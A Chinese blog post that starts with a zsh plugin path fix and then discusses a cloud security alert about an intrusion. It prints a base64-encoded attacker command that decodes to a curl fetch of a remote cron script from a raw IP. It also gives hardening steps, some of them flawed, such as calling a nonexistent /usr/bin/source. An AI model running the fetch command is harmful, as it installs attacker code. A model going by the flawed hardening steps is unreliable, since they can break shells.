当前位置: 首页 > news >正文

Mac zsh使用相关问题之一

解决zsh 找不到zsh插件的问题

解决方法
修改vim ~/.zshrc

添加如下内容:

fpath=(/usr/share/zsh/5.0.2/functions $fpath)

在这里插入图片描述

可疑编码命令

~ echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d

curl -fsSL http://140.99.32.48/b2f628/cronb.sh

vim /etc/crontab

【阿里云】尊敬的whuanghkl@163.com:云盾云安全中心检测到您的服务器:123.57.78.161(whuang78.161 )出现了可疑安全事件:可疑编码命令,建议您立即登录云安全中心控制台-安全告警处理https://t.aliyun.com/G7cSwaKO 进行处理。

在 CentOS 7 中,可以通过重定向或限制 source 命令的使用,减少被攻击的可能性。以下是一些常见的防护措施:


方法 1:为 source 创建安全别名

source 命令限制为只能加载可信目录中的文件。

  1. 编辑用户的 Shell 配置文件 对于 Zsh 用户,编辑 ~/.zshrc
vim ~/.zshrc

对于 Bash 用户,编辑 ~/.bashrc

vim ~/.bashrc
  1. 添加以下别名source 命令重定向到特定目录:
alias source='restricted_source'

restricted_source() {
    ALLOWED_DIR="/trusted/directory"
    if [[ $1 == $ALLOWED_DIR/* ]]; then
        /usr/bin/source "$@"
    else
        echo "Error: Unauthorized source usage detected."
    fi
}
  1. 刷新配置文件 执行以下命令使其生效:
source ~/.zshrc
或
source ~/.bashrc
  1. 验证 测试加载受限路径:
source /trusted/directory/safe_script.sh  # 成功
source /tmp/malicious_script.sh          # 失败

方法 2:通过 Shell 限制 source

直接禁用 source 命令,强制使用其他安全方法(如 . 命令)。

  1. 编辑配置文件 编辑用户的 Shell 配置文件,例如 ~/.bashrc~/.zshrc
vim ~/.zshrc
  1. 覆盖 **source** 命令 添加以下内容:
unalias source 2>/dev/null
source() {
    echo "The 'source' command is disabled for security reasons."
    return 1
}

unalias base64 2>/dev/null

base64() {

echo "The 'base64' command is disabled for security reasons."

return 1

}

  1. 刷新配置文件 执行以下命令使其生效:
source ~/.zshrc
  1. 测试 尝试运行 source 命令:
source /path/to/script.sh

输出应为:

The 'source' command is disabled for security reasons.

2. 加固系统,防止未来攻击

2.1 保护关键系统文件

/etc/crontab/etc/rc.d/rc.local 等关键文件设为 只读,防止未经授权的修改:

chattr +i /etc/crontab
chattr +i /etc/rc.d/rc.local
chattr +i /etc/cron.d/*
chattr +i /etc/cron.daily/logrotate

如果需要修改文件,先移除保护:

chattr -i /etc/crontab

**2.2 禁用 **wget** 和 ****curl**

如果服务器不需要使用 wgetcurl,可以禁用它们:

chmod 000 /usr/bin/wget
chmod 000 /usr/bin/curl

防止用户误用:

alias wget='echo "wget is disabled for security reasons"'
alias curl='echo "curl is disabled for security reasons"'

要恢复:

chmod 755 /usr/bin/wget
chmod 755 /usr/bin/curl
unalias wget
unalias curl

2.3 限制 **crontab** 访问权限

禁用非 root 用户的 crontab

编辑 /etc/cron.allow,添加允许使用 crontab 的用户:

echo "root" > /etc/cron.allow

确保 /etc/cron.deny 存在并清空:

> /etc/cron.deny

限制 crontab 仅允许 root 访问:

chmod 600 /etc/crontab
chown root:root /etc/crontab

相关文章:

  • (算法基础——树)——python树结构使用指南
  • EM235 模块
  • xxl-job分布式调度平台
  • Java并发编程6--重排序
  • 动态规划 之 背包问题
  • 融合模型预测控制 (MPC) 的 RL 算法
  • 【产品推介】可驱动5A负载的降压型DC/DC转换器XBL1663
  • Jenkins同一个项目不同分支指定不同JAVA环境
  • 穷举 vs 暴搜 vs 深搜 vs 回溯 vs 剪枝
  • 基于Flask的广西高校舆情分析系统的设计与实现
  • 《Nuxt.js 实战:从放弃到入门》六、打造个性化文字转图片工具
  • 各类系统Pycharm安装教程
  • MongoDB between ... and ... 操作
  • Android嵌套滑动造成的滑动冲突原理分析
  • 解惑Python:一文解决osgeo库安装失败问题
  • DeepSeek + Vue实战开发
  • Python字符模糊匹配指南 RapidFuzz | python小知识
  • RocketMQ 5.0安装部署
  • Ubuntu 安装 OpenCV (C++)
  • 请解释设备像素、CSS 像素、设备独立像素、DPR、PPI 之间的区别 ?
  • 大连网站搜索优/宁波seo网络推广
  • 如何做游戏软件开发/深圳网站seo优化公司
  • 重庆光龙网站建设/so导航 抖音
  • 菏泽网站建设招聘/seo搜索引擎专员
  • 网站怎么做域名/重大军事新闻最新消息
  • 企业网站管理系统cms源码下载/网络软文营销